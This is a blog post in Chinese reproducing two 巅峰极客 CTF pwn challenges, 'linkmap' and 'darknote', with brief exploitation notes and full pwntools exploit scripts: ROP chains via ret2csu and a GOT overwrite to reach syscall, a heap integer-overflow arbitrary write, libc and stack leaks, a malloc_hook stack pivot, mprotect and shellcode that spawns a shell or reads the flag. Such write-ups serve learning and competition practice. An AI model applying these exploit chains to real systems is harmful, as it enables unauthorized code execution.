巅峰极客

巅峰极客

就复现两道题,另一个没学过,就先不学习了.

linkmap

没有报名这个比赛,但是看了第一题,感觉挺有意思的,刚开始没有什么好的思路,后来听了zikh师傅的思路(发现自己还是做的题型有点少)

具体做法

1、就是利用mov rax, qword ptr [rbp - 8] ; mov qword ptr [rdx], rax ; nop ; pop rbp ; ret 向bss段写read的地址,这是因为read的开始的真实地址距离syscall很近

2、在利用csu向bss段中进行布局(就是ret2syscall,不过要覆盖bss中的read地址为syscall)

需要注意的是调用read函数是通过read的plt而不是程序中自带的

from tools import *
p,elf,libc=load('ezzzz')
bss = elf.bss() + 0x100
log_addr('bss')
debug(p,0x400772)
pop_rsi_r15=0x4007e1          #pop rsi ; pop r15 ; ret
csu2=0x4007C0
csu1=0x4007DA 
read_got=0x600fd8
read_plt=elf.plt['read']
leave_ret=0x400772 
pop_rbp=0x400570
magic=0x400672   #mov rax, qword ptr [rbp - 8] ; mov qword ptr [rdx], rax ; nop ; pop rbp ; ret 
pop_rdi=0x4007e3
pop_rsi_r15=0x4007e1
ret=0x400773
magic_read=0x400752 
payload=b'a'*0x10+p64(bss)+p64(magic_read)+b'/bin/sh\x00'
p.send(payload)
payload=b'a'*0x10+p64(bss)+p64(csu1)
payload+=p64(0)  # rbx
payload+=p64(1)  # rbp
payload+=p64(0x400e28)  # r12
payload+=p64(bss)  # r13 -> rdx 
payload+=p64(bss)  # r14 -> rsi
payload+=p64(0)  # r15 -> edi
payload+=p64(csu2)
payload+=p64(0)  # add
payload+=p64(0)  # rbx
payload+=p64(read_got+8)  # rbp
payload+=p64(0x400e28)  # r12
payload+=p64(bss+0x70)  # r13 -> rdx 
payload+=p64(0)  # r14 -> rsi
payload+=p64(0)  # r15 -> edi
payload+=p64(magic)  # read@addr->bss
payload+=p64(bss-0x3a-8)   
payload+=p64(pop_rsi_r15)
payload+=p64(bss-0x3b+1) + p64(0)
payload+=p64(read_plt)
payload+=p64(pop_rbp)
payload+=p64(bss-0x18-0x18)
payload+=p64(leave_ret)
payload+=b'/bin/sh\x00'
pause()
p.send(payload)

pause()
payload=b'a'*(0x2a-8-0x18)+p64(bss-0x10-0x18)
payload+=p64(pop_rsi_r15)+p64(0)*2
payload+=p64(pop_rdi)+p64(bss+0xc8)+b'\x2f'
p.send(payload)

p.interactive()    

darknote

这道题怎么说呢,刚开始没看懂是参考的星盟师傅的wp,星盟做出来的那个师傅很强,

程序分析

漏洞就是整数溢出,申请的大小是输入的8倍,但在add中检查的还是list

image-20230803111232621

攻击思路

1 利用整数溢出向main_arena+56中写入我们申请的chunk地址,然后像这个chunk中写入一个地址,在通过add实现任意地址写

2 利用任意地址地址写将写有1. Add Note\n地址中的数据写为got表和environ变量用于泄露libc和栈地址

3 向malloc_hook中写入add rsp,0x100执行栈中数据执行mprotectorw(这个布局有点巧妙,而且每个人有自己风格,就不再说了)

from tools import *
context.clear(arch='amd64', os='linux', log_level='debug')
p = process('./darknote')
add_p=0x401B7B
read_p=0x0401BCA
start_p=0x40174F
def add(index, note):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendafter(b'Note: ', note)

p.sendlineafter(b'want?\n', str(0x20010000))

add(0x4DB75, p64(0)+p64(0x71)+p64(0x404240)+ b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(0x403FB0)[:6] + b'\n')

p.recvuntil(b'=\n')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0
log_addr('libc_base')

add(0x4DB75, p64(0)+p64(0x71)+p64(0x404240) + b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(libc_base + 0x1ef600)[:6] + b'\n')

p.recvuntil(b'=\n')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
log_addr('stack_addr')

print(hex(stack_addr - 0x70))
add(0x4DB75, p64(0)+p64(0x71)+p64(stack_addr - 0x98)+ b'\n')
add(0, b'\n')
payload=p64(libc_base + 0x23b6a)      # pop rdi ,ret ;
payload += p64(stack_addr & (~0xfff)) #
payload += p64(libc_base + 0x2601f)   # pop rsi ,ret ;
payload += p64(0x1000)
payload += p64(libc_base + 0x142c92)  # pop rdx ,ret ;
payload += p64(7)
payload += p64(libc_base + 0x36174)   # pop rax ,ret ;
payload += p64(0x1a)+p64(0)           

add(0, p64(0xdeadbeef)*3 + payload + b'\n')  #12 * 8    #当前指令的下一条指令的地址
shellcode = asm('''
    lea rsi, next[rip]            
    mov edi, 0
    mov edx, 0x200
    mov eax, 0
    syscall
next:
''')  #read

add(0x4DB75, p64(0)+p64(0x71)+p64(stack_addr - 0x40) + b'\n')
add(0, b'\n')
payload = p64(libc_base + 0x9c272)  #sub    eax,0x10 ,ret ;
payload += p64(libc_base + 0x630a9) #syscall 
payload += p64(stack_addr - 0x18)
add(0,payload + shellcode + b'\n')

add(0x4DB75, p64(0)+p64(0x71)+p64(libc_base + 0x1ecb70-0x10)+ b'\n')   # __malloc_free
add(0, b'\n')
add(0, p64(libc_base + 0xbb92c) + b'\n')  #add    rsp,0x100

p.sendlineafter(b'>> ', b'1')
debug(p,add_p,start_p)
p.sendlineafter(b'Index: ', str(0).encode())
shellcode2 = asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x50
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write
''')
p.send(shellcode2)

p.interactive()
posted @ 2023-08-03 11:35  何思泊河  阅读(34)  评论(0编辑  收藏  举报